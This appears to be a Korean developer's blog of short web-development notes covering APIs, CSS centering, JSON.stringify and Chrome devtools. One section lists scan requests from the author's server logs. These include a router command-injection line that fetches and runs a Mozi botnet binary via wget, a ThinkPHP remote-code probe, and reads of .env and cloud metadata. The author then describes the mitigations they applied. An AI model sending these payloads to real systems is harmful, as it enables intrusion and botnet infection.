random user api

api result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
{
"results": [
{
"gender": "male",
"name": {
"title": "Mr",
"first": "Alexis",
"last": "Petit"
},
"location": {
"street": {
"number": 4670,
"name": "Rue Abel-Gance"
},
"city": "Asnières-sur-Seine",
"state": "Côtes-D'Armor",
"country": "France",
"postcode": 50669,
"coordinates": {
"latitude": "1.5987",
"longitude": "-174.3996"
},
"timezone": {
"offset": "-3:30",
"description": "Newfoundland"
}
},
"email": "alexis.petit@example.com",
"login": {
"uuid": "0c475137-052f-4e2d-accd-e1f81134085b",
"username": "smallswan940",
"password": "roland",
"salt": "axj95jYj",
"md5": "9cb8a280ee2ea2c270304e789cf41c4d",
"sha1": "ad06d250bb7e2e63c41180190fd1a0a87310bed9",
"sha256": "dcd4a79c08ce63b11e0e210488be6c13d6479c1857978272d22de05743c5a0c8"
},
"dob": {
"date": "1948-07-11T03:52:55.239Z",
"age": 72
},
"registered": {
"date": "2019-03-02T05:37:55.591Z",
"age": 1
},
"phone": "01-02-20-53-73",
"cell": "06-62-80-71-34",
"id": {
"name": "INSEE",
"value": "1NNaN99470953 54"
},
"picture": {
"large": "https://randomuser.me/api/portraits/men/52.jpg",
"medium": "https://randomuser.me/api/portraits/med/men/52.jpg",
"thumbnail": "https://randomuser.me/api/portraits/thumb/men/52.jpg"
},
"nat": "FR"
}
],
"info": {
"seed": "40708dc84b376baf",
"results": 1,
"page": 1,
"version": "1.3"
}
}

fetch 예제

example.js
1
2
3
fetch('https://randomuser.me/api')
.then((res) => res.json())
.then(console.log);

참고

web api location 객체

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
ancestorOrigins: DOMStringList {length: 0}
assign: ƒ assign()
hash: ""
host: "chinsun9.github.io"
hostname: "chinsun9.github.io"
href: "https://chinsun9.github.io/keyboardevent.io/?time=1700&a=123"
origin: "https://chinsun9.github.io"
pathname: "/keyboardevent.io/"
port: ""
protocol: "https:"
reload: ƒ reload()
replace: ƒ replace()
search: "?time=1700&a=123"
toString: ƒ toString()
}

참고

em vs rem

em

  • 상위 요소 기준

rem

  • 최상위 요소 html 기준

flex box로 수평수직 가운데 정렬하기

index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<style>
html {
height: 100vh;
}

body {
height: 100%;
}

.flexbox-container {
display: flex;
height: 100%;
justify-content: center;
align-items: center;
}

.flexbox-item {
background-color: #ddd;
}
</style>

<div class="flexbox-container">
<div class="flexbox-item">hello world!</div>
</div>
1
2
3
4
.flexbox-container {
justify-content: center;
align-items: center;
}
  • flex box로 수평수직 가운데 정렬하기

JSON.stringify 예쁘게 출력하기

1
JSON.stringify(my, null, 2);
  • 두번째 인자로 null
  • 세번째 인자로 space argument 를 설정해주면된다
  • space argument 는 들여쓰기를 간격에 대한 것이다

TMI

비교해보기

example
1
2
3
4
5
6
7
8
9
10
11
let my = {
key: 'a',
altKey: false,
code: 'KeyA',
ctrlKey: false,
keyCode: 65,
shiftKey: false,
};

console.log(JSON.stringify(my));
console.log(JSON.stringify(my, null, 2));
  • F12 로 개발자도구를 열고, 콘솔에 복붙해보자

html로 출력하고싶을 때

example.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<pre><code id="message"></code></pre>

<script>
'use strict';

const message_span = document.querySelector('#message');

let my = {
key: 'a',
altKey: false,
code: 'KeyA',
ctrlKey: false,
keyCode: 65,
shiftKey: false,
};

message_span.innerHTML = JSON.stringify(my, null, 2);
</script>
  • 로그로 남기는 것이 아니라 html로 그 결과를 보여주고 싶을 때에는
  • 위처럼 pre태그 안에서 보여주면된다

참고

chrome inactive tab setTimeout, setInterval 실행 느림

  • 브라우저에서 js 코드 실행속도가 이상하게 느려져서 어떤 문제인가했는데,
  • 개발자도구를 새창으로 열고(콘솔보는용도로)
  • 탭을 백그라운드로 보내버렸더니 생긴문제였다
  • setTimeout, setInterval 메서드의 경우 탭이 인액티브 상태이면 1초 이상으로 제한된다고 한다
  • 인액티브 상태는 최소화하는 등 화면에서 사라지는 경우를 말하는 것 같다
1
2
3
setInterval(() => {
log(1);
}, 100);
  • 위코드를 작성하고 개발자도구 콘솔창을 새창으로 열고
  • 탭을 최소화하면 1초 간격으로 실행되는 것을 확인 할 수 있다

참고

chrome dev tool, 크롬 개발자 도구, F12

  • 크롬 개발자 도구는 진짜 치트키
  • 특히 이걸 알고시작하면 주먹구구식으로도 뭔가를 만들어낼 수 있다!
  • F12 키로 개발자도구를 켠다

요소선택

  • 개발자도구 상단에보면 네모에 호버하고 있는 마우스 아이콘을 클릭하거나
  • Ctrl + Shift + C 키로 요소를 선택할 수 있는 모드로 들어갈 수 있다

  • 이 모드가 켜지면 커서있는 곳의 html 요소를 선택할 수 있다


  • 클릭을하면 개발자도구에 해당 html 요소가 있는 라인이 하일라이트되어 보여지며
  • 원하는 요소를 더블클릭또는 f2를 눌러 html을 수정할 수 있다
  • 여기서 수정한 내용은 화면에 바로 반영되어 보여진다
  • 스타일도 적용해볼 수 있으며, 자동완성을 지원해서 속성명을 자세히 몰라도 이것저것 시험해볼 수 있다
  • 당연하게도 새로고침하면 수정사항이 모두 날라간다
  • 이렇게 저렇게 브라우저에서 시험삼아해보고 이게 좋다하면 에디터로 돌아와 코드에 추가해서 적용시켜볼 수 있겠다

Copy selector, Copy JS path

  • 나는 이거를 정말 많이쓴다

Copy selector 결과
body > section > div > div > div.column.order-2.column-main.is-9-tablet.is-9-desktop.is-9-widescreen > div:nth-child(1) > article > h1 > a

  • 내가 원하는 요소의 셀렉터를 찾아준다
  • css를 적용하거나, 셀렉터를 쓸필요가있을 때 유용하다

Copy JS path 결과
document.querySelector("body > section > div > div > div.column.order-2.column-main.is-9-tablet.is-9-desktop.is-9-widescreen > div:nth-child(1) > article > h1 > a")

  • Copy selector와 다른점은 document.querySelector로 감싸준다

debugger

  • 이것도 신기한 기능이다

  • 디버깅하고싶은 소스코드 중간에 debugger라는 키워드를 적어놓으면,
  • 개발자도구가 열렸을 때, 코드가 실행되다가 debugger를 만나면 실행이 멈추고,
  • 해당 위치에서 코드를 한줄씩 실행시켜 볼 수도 있고 그렇다

무작위 스캔 공격?

  • 24시간 express로 웹앱을 켜놓은 적이 있다
  • log를 보니까 이상한 경로의 요청이 많이 있었다

스캔 로그 특징

  • 무료 도메인과 ELB를 연결해둬서
  • 도메인을 통한 접속과, ec2 ip를 통합 접속을 구분할 수 있었다
  • 확인 결과 두 곳 모두 이상한 요청이 왔다
  • 도메인, ELB를 통한 스캔이 많았다
  • get, post 요청으로 온다
  • 여러 아이피로 스캔을 한다

스캔 경로

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
"GET /.env HTTP/1.1"
"GET /0bef HTTP/1.1"
"GET /TP/html/public/index.php HTTP/1.1"
"GET /TP/index.php HTTP/1.1"
"GET /TP/public/index.php HTTP/1.1"
"GET /ab2g HTTP/1.1"
"GET /ab2h HTTP/1.1"
"GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.1"
"GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0"
"GET /conf.js HTTP/1.1"
"GET /config/getuser?index=0 HTTP/1.1"
"GET /console/ HTTP/1.1"
"GET /currentsetting.htm HTTP/1.1"
"GET /elrekt.php HTTP/1.1"
"GET /html/public/index.php HTTP/1.1"
"GET /index.php HTTP/1.1"
"GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1"
"GET /latest/meta-data/ HTTP/1.1"
"GET /manager/html HTTP/1.1"
"GET /manager/text/list HTTP/1.1"
"GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1"
"GET /phpMyAdmin/scripts/setup.php HTTP/1.1"
"GET /portal/redlion HTTP/1.1"
"GET /public/index.php HTTP/1.1"
"GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1"
"GET /solr/ HTTP/1.1"
"GET /solr/admin/info/system?wt=json HTTP/1.1"
"GET /thinkphp/html/public/index.php HTTP/1.1"
"GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"
"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1"
"GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1"
"GET /wp-login.php HTTP/1.1"
"POST / HTTP/1.1"
"POST /GponForm/diag_Form?images/ HTTP/1.1"
"POST /HNAP1/ HTTP/1.1"
"POST /api/jsonws/invoke HTTP/1.1"
"POST /mifs/.;/services/LogService HTTP/1.1"
"POST /tools.cgi HTTP/1.1"
"POST /users?page=&size=5 HTTP/1.1"
"POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"

내 행동

  • 디렉터리 구조가 노출될까 봐
  • error.ejs 정적으로 바꾸어 에러 스택을 보이지 않게 했다
  • 웹앱 포트 변경. 잘 알려진 8080 포트로 웹을 열었더니 스캔 공격을 받는 것 같다
  • 잘 알려지지 않은 포트를 사용해서 웹을 열기로 했다. -> EC2 ip를 통한 스캔 방지
  • 에러 로그에만 집중하기
  • morgan 로깅 내용을 커스텀하고, 400번대 이상의 코드만 로깅하도록 하였다
  • 동적으로 ACL에 추가해 L4 수준에서 차단
  • ACL규칙을 최대 18개 정도 사용할 수 있기 때문에 돌려막기식이 되어버렸다
  • 그래도 꺼림칙한 로그들을 줄일 수 있었다

inline style vs !important

!important 승

  • 갑자기 인라인에서 정의한 스타일과 !important 중에 누가 더 강력한지 궁금해 졌다
1
2
3
h1 {
color: red !important;
}
index.html
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
<link rel="stylesheet" href="style.css" />
</head>
<body>
<h1 style="color: blue">hello world</h1>
</body>
</html>

reqres.in으로 ajax 연습하기

  • Reqres 에서 다양한 api를 제공하고있다
  • cors를 허용하기 때문에 localhost에서도 요청을보내고 응답을 받을 수 있다
  • ajax 연습이나, 간단한 앱을 만들 때, 서버를 만들지 않고,
  • reqres에서 제공하는 api를 사용할 수 있겠다

get api

https://reqres.in/api/users?page=2 // 유저 목록 2페이지 보기
https://reqres.in/api/users/2 // 2번 유저 보기
https://reqres.in/api/users/23 // 23번 유저 보기(없는 유저)

// products보기, products 부분은 어떤 문자열로든 치환이 가능해서 원하는 느낌의 문자열을 적어주면된다
https://reqres.in/api/products
https://reqres.in/api/products/1